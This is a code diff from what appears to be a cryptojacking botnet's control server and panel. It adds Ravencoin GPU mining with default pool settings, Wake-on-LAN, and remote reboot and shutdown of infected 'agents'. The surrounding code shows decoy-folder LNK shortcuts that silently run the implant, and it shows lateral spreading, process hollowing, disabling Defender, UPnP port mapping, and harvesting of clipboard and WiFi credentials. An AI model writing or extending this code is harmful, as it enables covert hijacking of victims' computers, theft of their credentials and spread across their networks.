+func pickDecoyFolderName(drive string) string { + candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"} + entries, _ := os.ReadDir(drive) + existing := map[string]bool{} + for _, e := range entries { + existing[strings.ToLower(e.Name())] = true + } + for _, c := range candidates { + if !existing[strings.ToLower(c)] { + return c + } + } + return "Backup" +} + // createFolderShortcut uses PowerShell's WScript.Shell COM object to // create an LNK shortcut with a folder icon that silently runs destBin. func createFolderShortcut(dir, name, destBin string) { diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index ba751b7..c8b1e11 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -1,12 +1,15 @@ package api import ( + "encoding/binary" "encoding/json" "fmt" "io" "log" + "net" "net/http" "strconv" + "strings" "sync" "time" @@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) }) } +// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address. +// The packet is broadcast on UDP port 9 to the last known subnet. +func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "agent id is required", http.StatusBadRequest) + return + } + + // Accept optional override MAC from request body + var req struct { + MAC string `json:"mac"` + } + _ = json.NewDecoder(r.Body).Decode(&req) + + // Look up MAC from DB if not provided + mac := req.MAC + if mac == "" { + agent, err := f.db.GetAgent(id) + if err != nil || agent == nil { + writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"}) + return + } + mac = agent.MacAddress + } + if mac == "" { + writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"}) + return + } + + if err := sendMagicPacket(mac); err != nil { + writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()}) + return + } + writeJSON(w, map[string]interface{}{"success": true, "mac": mac}) +} + +// sendMagicPacket sends a WOL magic packet for the given MAC address. +func sendMagicPacket(macStr string) error { + macStr = strings.ReplaceAll(macStr, "-", ":") + hw, err := net.ParseMAC(macStr) + if err != nil { + return fmt.Errorf("invalid MAC address %q: %w", macStr, err) + } + + // Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total) + pkt := make([]byte, 102) + for i := 0; i < 6; i++ { + pkt[i] = 0xFF + } + for i := 1; i <= 16; i++ { + copy(pkt[i*6:], hw) + } + + // Broadcast on limited broadcast address, port 9 + addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9} + conn, err := net.DialUDP("udp4", nil, addr) + if err != nil { + // Try port 7 as fallback + addr.Port = 7 + conn, err = net.DialUDP("udp4", nil, addr) + if err != nil { + return fmt.Errorf("failed to open UDP socket: %w", err) + } + } + defer conn.Close() + _, err = conn.Write(pkt) + _ = binary.BigEndian // ensure import is used + return err +} + type agentMetaRequest struct { Notes string `json:"notes"` Tags []string `json:"tags"` diff --git a/server/internal/api/router.go b/server/internal/api/router.go index e05021c..6c4eae2 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/agents/{id}/stats", h.GetAgentStats) if fleetHandler != nil { r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) + r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) r.Delete("/agents/{id}", fleetHandler.DeleteAgent) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 1ee39be..268f2ec 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` - Platform string `json:"platform"` - Arch string `json:"arch"` - OSVersion string `json:"os_version"` - } + Platform string `json:"platform"` + Arch string `json:"arch"` + OSVersion string `json:"os_version"` + MacAddress string `json:"mac_address,omitempty"` + } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "invalid auth payload", @@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Arch: auth.Arch, OSVersion: auth.OSVersion, Hostname: auth.Hostname, + MacAddress: auth.MacAddress, Capabilities: &caps, } @@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { DiskFreePct *int `json:"disk_free_pct,omitempty"` GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // GPU / Ravencoin mining + GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` + GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` + GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` + GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` + GPUModel string `json:"gpu_model,omitempty"` // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` @@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC } if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct } + // GPU / Ravencoin mining stats + if stats.GPUMinerActive != nil { + broadcast["gpu_miner_active"] = *stats.GPUMinerActive + } + if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s } + if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m } + if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m } + if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel } + // Listen port count if stats.ListenPortCount != nil { broadcast["listen_port_count"] = *stats.ListenPortCount diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index dea863d..086b00f 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -85,6 +85,15 @@ type BuildRequest struct { // CancelToken is a client-generated UUID. Pass the same token to // DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile. CancelToken string `json:"cancel_token,omitempty"` + + // GPU / Ravencoin mining + GPUEnabled bool `json:"gpu_enabled"` + RVNWallet string `json:"rvn_wallet"` + RVNPoolHost string `json:"rvn_pool_host"` + RVNPoolPort int `json:"rvn_pool_port"` + RVNPoolTLS bool `json:"rvn_pool_tls"` + RVNPoolPass string `json:"rvn_pool_pass"` + RVNBackupPools []BackupPool `json:"rvn_backup_pools"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. @@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig { ServiceName: %q, ServiceDonor: %q, FleetSecret: %q, + + // GPU / Ravencoin mining + GPUEnabled: %v, + RVNWallet: %q, + RVNPoolHost: %q, + RVNPoolPort: %d, + RVNPoolTLS: %v, + RVNPoolPass: %q, + RVNBackupPools: %s, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig { serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), h.fleetSecret, + req.GPUEnabled, + req.RVNWallet, + rvnPoolHost(req), + rvnPoolPort(req), + req.RVNPoolTLS, + rvnPoolPass(req), + formatGoBackupPools(req.RVNBackupPools), ) } +func rvnPoolHost(req *BuildRequest) string { + if req.RVNPoolHost == "" { + return "rvn.2miners.com" + } + return req.RVNPoolHost +} + +func rvnPoolPort(req *BuildRequest) int { + if req.RVNPoolPort <= 0 { + return 6060 + } + return req.RVNPoolPort +} + +func rvnPoolPass(req *BuildRequest) string { + if req.RVNPoolPass == "" { + return "x" + } + return req.RVNPoolPass +} + // formatGoBackupPools emits a Go literal for []config.BackupPool. func formatGoBackupPools(pools []BackupPool) string { if len(pools) == 0 { diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index 9523f6e..f85ebd3 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface { &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, - ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, + ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, ) if err != nil { return nil, err @@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface { const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, - cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname` + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 0424b68..a885760 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -125,6 +125,7 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`) return nil } @@ -132,8 +133,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = excluded.name, wallet = excluded.wallet, @@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error { platform = excluded.platform, arch = excluded.arch, os_version = excluded.os_version, - hostname = excluded.hostname` - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname) + hostname = excluded.hostname, + mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END` + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress) return err } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 0680b1e..5f85465 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -28,10 +28,11 @@ type Agent struct { Notes string `json:"notes"` Tags []string `json:"tags"` - Platform string `json:"platform,omitempty"` - Arch string `json:"arch,omitempty"` - OSVersion string `json:"os_version,omitempty"` - Hostname string `json:"hostname,omitempty"` + Platform string `json:"platform,omitempty"` + Arch string `json:"arch,omitempty"` + OSVersion string `json:"os_version,omitempty"` + Hostname string `json:"hostname,omitempty"` + MacAddress string `json:"mac_address,omitempty"` // Live connection quality — not persisted, set by WSHub each stats cycle. LatencyMs *int `json:"latency_ms,omitempty"` @@ -57,6 +58,13 @@ type Agent struct { GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` + // GPU / Ravencoin mining + GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` + GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` + GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` + GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` + GPUModel string `json:"gpu_model,omitempty"` + // Crucible — SSH status probed by the agent every ~60s SSHAvailable *bool `json:"ssh_available,omitempty"` diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index d3b1845..08e0ff6 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -149,6 +149,11 @@ export const api = { method: 'POST', body: JSON.stringify({ action, ...payload }), }), + sendWOL: (id: string, mac?: string) => + fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, { + method: 'POST', + body: JSON.stringify(mac ? { mac } : {}), + }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), diff --git a/server/web/src/components/Fleet/AgentRemoteActions.css b/server/web/src/components/Fleet/AgentRemoteActions.css index aca40ce..3a08396 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.css +++ b/server/web/src/components/Fleet/AgentRemoteActions.css @@ -128,7 +128,7 @@ .tactical-bottom-row { display: flex; gap: 20px; - height: 250px; + height: 380px; } .drop-zone { @@ -172,13 +172,32 @@ white-space: pre-wrap; } -.terminal-placeholder { color: #555; font-style: italic; } +.terminal-titlebar { + display: flex; + justify-content: space-between; + align-items: center; + padding: 5px 10px; + background: #0a0014; + border-bottom: 1px solid rgba(0,229,255,0.15); + flex-shrink: 0; +} +.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; } +.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; } +.terminal-clear-btn:hover { border-color: #888; color: #ccc; } + +.terminal-placeholder { color: #555; font-style: italic; padding: 0; } + +.log-line.log-ok { color: #00ff88; } +.log-line.log-err { color: #ff4444; } +.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; } +.log-line.log-warn { color: #ffaa00; } .terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; } .terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; } .terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; } .terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; } .terminal-input-bar button:hover { background: #00e5ff; color: #000; } +.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; } /* Upgrade section */ .upgrade-group { grid-column: 1 / -1; } @@ -212,4 +231,95 @@ font-size: 0.82rem; } -.log-line { line-height: 1.45; word-break: break-all; } \ No newline at end of file +.log-line { line-height: 1.45; word-break: break-all; } + +/* Offline & busy badges in header */ +.offline-badge { + font-size: 0.7rem; + padding: 3px 8px; + background: rgba(255,40,40,0.2); + border: 1px solid rgba(255,40,40,0.5); + border-radius: 4px; + color: #ff6666; + font-weight: bold; + letter-spacing: 0.04em; +} +.busy-badge { + font-size: 0.7rem; + padding: 3px 8px; + background: rgba(255,171,0,0.2); + border: 1px solid rgba(255,171,0,0.4); + border-radius: 4px; + color: #ffcc44; + animation: pulse-amber 1.2s ease-in-out infinite; +} +.offline-dot { background: #555; box-shadow: 0 0 6px #555; } + +@keyframes pulse-amber { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.5; } +} + +/* WOL section */ +.wol-row { display: flex; flex-direction: column; gap: 0.5rem; } +.wol-toggle { + font-size: 0.8rem; + padding: 6px 12px; + border-radius: 4px; + border: 1px solid rgba(0,229,255,0.3); + background: rgba(0,229,255,0.06); + color: #00e5ff; + cursor: pointer; + transition: all 0.2s; + text-align: left; +} +.wol-toggle:hover { background: rgba(0,229,255,0.12); } +.wol-form { + display: flex; + gap: 0.5rem; + align-items: center; + flex-wrap: wrap; +} +.wol-mac-input { + flex: 1; + min-width: 220px; + background: rgba(0,0,0,0.5); + border: 1px solid rgba(0,229,255,0.25); + border-radius: 4px; + color: #e0e0e0; + padding: 6px 10px; + font-size: 0.82rem; + font-family: 'Consolas', monospace; + outline: none; +} +.wol-mac-input:focus { border-color: #00e5ff; } +.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; } + +/* Compact mode extras */ +.compact-offline-banner { + font-size: 0.72rem; + color: #ff6666; + background: rgba(255,40,40,0.1); + border: 1px solid rgba(255,40,40,0.3); + border-radius: 4px; + padding: 3px 8px; + margin-bottom: 6px; +} +.compact-terminal { + margin-top: 6px; + background: #050505; + border: 1px solid #1a1a1a; + border-radius: 4px; + padding: 5px 8px; + font-family: 'Consolas', monospace; + font-size: 0.72rem; + max-height: 80px; + overflow-y: auto; +} +.compact-log-line { + color: #aaa; + line-height: 1.35; + white-space: pre-wrap; + word-break: break-all; +} +.compact-log-line:last-child { color: #e0e0e0; } \ No newline at end of file diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 9477a74..27449e2 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext'; import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions'; import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload'; +import { formatHashrate } from '../../help/fleetFilters'; import './AgentRemoteActions.css'; const TERMINAL_MAX_LINES = 500; @@ -22,6 +23,8 @@ interface Props { /** @deprecated Pass commandResults instead. */ latestWsMessage?: { type: string; payload: unknown } | null; onCommandSent?: (action: string) => void; + /** If true, inject a live stats snapshot into the terminal when agent updates */ + showLiveStats?: boolean; } export default function AgentRemoteActions({ @@ -32,6 +35,7 @@ export default function AgentRemoteActions({ compact = false, commandResults, onCommandSent, + showLiveStats = false, }: Props) { const agentId = agentIdProp ?? agent?.id ?? ''; const agentName = agentNameProp ?? agent?.name ?? 'Agent'; @@ -43,9 +47,12 @@ export default function AgentRemoteActions({ const [terminalLog, setTerminalLog] = useState<string[]>([]); const [screenshotData, setScreenshotData] = useState<string | null>(null); const [busy, setBusy] = useState<string | null>(null); + const [wolMac, setWolMac] = useState(''); + const [wolExpanded, setWolExpanded] = useState(false); // Fleet upgrade const [builds, setBuilds] = useState<Build[]>([]); const [selectedBuildId, setSelectedBuildId] = useState<string>(''); + const lastStatsRef = useRef<string>(''); useEffect(() => { api.listBuilds().then(setBuilds).catch(() => setBuilds([])); }, []); @@ -77,6 +84,43 @@ export default function AgentRemoteActions({ // eslint-disable-next-line react-hooks/exhaustive-deps }, [agentId]); + // Pre-fill WOL MAC from agent object when it becomes available + useEffect(() => { + if (agent?.mac_address && !wolMac) { + setWolMac(agent.mac_address); + } + }, [agent?.mac_address]); + + // Live stats ticker — appends a concise status line whenever agent data changes. + // Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed. + const lastStatsPushRef = useRef(0); + useEffect(() => { + if (!showLiveStats || !agent || agent.status !== 'online') return; + const snapshot = [ + agent.hashrate_15s?.toFixed(0), + agent.cpu_usage_pct?.toFixed(0), + agent.memory_usage_pct?.toFixed(0), + agent.cpu_temp_c, + ].join('|'); + if (snapshot === lastStatsRef.current) return; + const now = Date.now(); + if (now - lastStatsPushRef.current < 15000) return; + lastStatsRef.current = snapshot; + lastStatsPushRef.current = now; + + const parts: string[] = [ + `XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`, + `CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`, + `RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`, + ]; + if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`); + if (agent.gpu_miner_active && agent.gpu_hashrate_15s) { + parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`); + } + if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`); + addLog(`◈ LIVE ${parts.join(' │ ')}`); + }, [agent, showLiveStats, addLog]); + // Process every new commandResults entry we haven't seen yet (M13 — no drops). // Filters by _seq so the ring-buffer trim never makes us miss results. useEffect(() => { @@ -95,52 +139,74 @@ export default function AgentRemoteActions({ const clean = sanitizeScreenshotBase64(message); if (downloadScreenshotFromBase64(clean, label)) { setScreenshotData(`data:image/jpeg;base64,${clean}`); - addLog(`Screenshot saved — ${label}`); + addLog(`✓ Screenshot saved — ${label}`); } else { - addLog(`[SCREENSHOT] ${label}: invalid image data`); + addLog(`✗ [SCREENSHOT] ${label}: invalid image data`); } } else { - addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); + addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); } } else if (action) { - addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); + const icon = success ? '✓' : '✗'; + addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`); } } }, [commandResults, agentId, addLog]); const dispatch = async (action: string, args: Record<string, unknown> = {}) => { if (!agentId) { - addLog('No agent selected'); + addLog('⚠ No agent selected'); return; } - if (agent && !isOnline) { - addLog('Agent is offline'); + if (action !== 'wol' && agent && !isOnline) { + addLog(`⚠ Agent "${agentName}" is offline — command not sent`); return; } if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return; if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return; + if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return; + if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return; if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return; if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return; if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return; if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return; + // WOL is handled server-side (no agent connection needed) + if (action === 'wol') { + setBusy('wol'); + try { + addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`); + const res = await api.sendWOL(agentId, args.mac as string | undefined); + if (res.success) { + addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`); + } else { + addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`); + } + } catch (err: unknown) { + addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`); + } finally { + setBusy(null); + } + return; + } + setBusy(action); try { if (action === 'screenshot') { - addLog(`Capturing desktop on ${agentName}…`); - } else if (!compact) { - addLog(`> Executing ${action}...`); + addLog(`◈ Capturing desktop on ${agentName}…`); + } else { + addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`); } const res = await api.sendAgentCommand(agentId, action, args); if (res.success === false) { - addLog(`Command rejected: ${res.error ?? 'unknown error'}`); + addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`); return; } - if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`); + if (action !== 'screenshot') addLog(`✓ command queued`); onCommandSent?.(action); } catch (err: unknown) { const msg = err instanceof Error ? err.message : 'Command failed'; - addLog(`API Error: ${msg}`); + addLog(`✗ ${msg}`); } finally { setBusy(null); } @@ -177,13 +243,23 @@ export default function AgentRemoteActions({ if (compact) { return ( <div className="agent-remote compact" onClick={(e) => e.stopPropagation()}> + {!isOnline && ( + <div className="compact-offline-banner">⚠ offline — commands disabled</div> + )} <div className="agent-remote-row"> - <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button> - <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button> - <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button> - <button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button> - <button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button> + <button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button> + <button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button> + <button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button> + <button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button> + <button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button> + <button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button> + <button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button> </div> + {terminalLog.length > 0 && ( + <div className="compact-terminal"> + {terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)} + </div> + )} </div> ); } @@ -202,8 +278,12 @@ export default function AgentRemoteActions({ <div className="tactical-panel"> <div className="tactical-header"> <div className="target-indicator"> - <div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} /> + <div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} /> <h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2> + {!isFleet && !isOnline && ( + <span className="offline-badge">OFFLINE — commands disabled</span> + )} + {busy && <span className="busy-badge">⏳ {busy}…</span>} </div> </div> @@ -235,10 +315,41 @@ export default function AgentRemoteActions({ <div className="action-group power-group"> <h3>System Power</h3> <div className="button-grid"> - <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button> - <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button> + <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button> + <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button> + <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button> + <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button> <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button> </div> + <div className="wol-row" style={{ marginTop: '0.75rem' }}> + <button + type="button" + className="btn-cyan wol-toggle" + onClick={() => setWolExpanded((p) => !p)} + title="Send Wake-on-LAN magic packet to power on a sleeping machine" + > + ☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'} + </button> + {wolExpanded && ( + <div className="wol-form"> + <input + type="text" + className="wol-mac-input" + placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF" + value={wolMac} + onChange={(e) => setWolMac(e.target.value)} + /> + <button + type="button" + className="btn-cyan" + disabled={!!busy} + onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})} + > + {busy === 'wol' ? 'Sending…' : 'Send Packet'} + </button> + </div> + )} + </div> </div> <div className="action-group upgrade-group"> @@ -395,11 +506,23 @@ export default function AgentRemoteActions({ </div> <div className="master-terminal"> + <div className="terminal-titlebar"> + <span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span> + <button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button> + </div> <div className="terminal-output"> {terminalLog.length === 0 ? ( - <span className="terminal-placeholder">Awaiting telemetry...</span> + <div className="terminal-placeholder"> + <div>◈ Terminal ready — send a command to see output here</div> + {isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>} + {!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>} + </div> ) : ( - terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>) + terminalLog.map((log, i) => ( + <div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}> + {log} + </div> + )) )} <div ref={logEndRef} /> </div> @@ -409,11 +532,11 @@ export default function 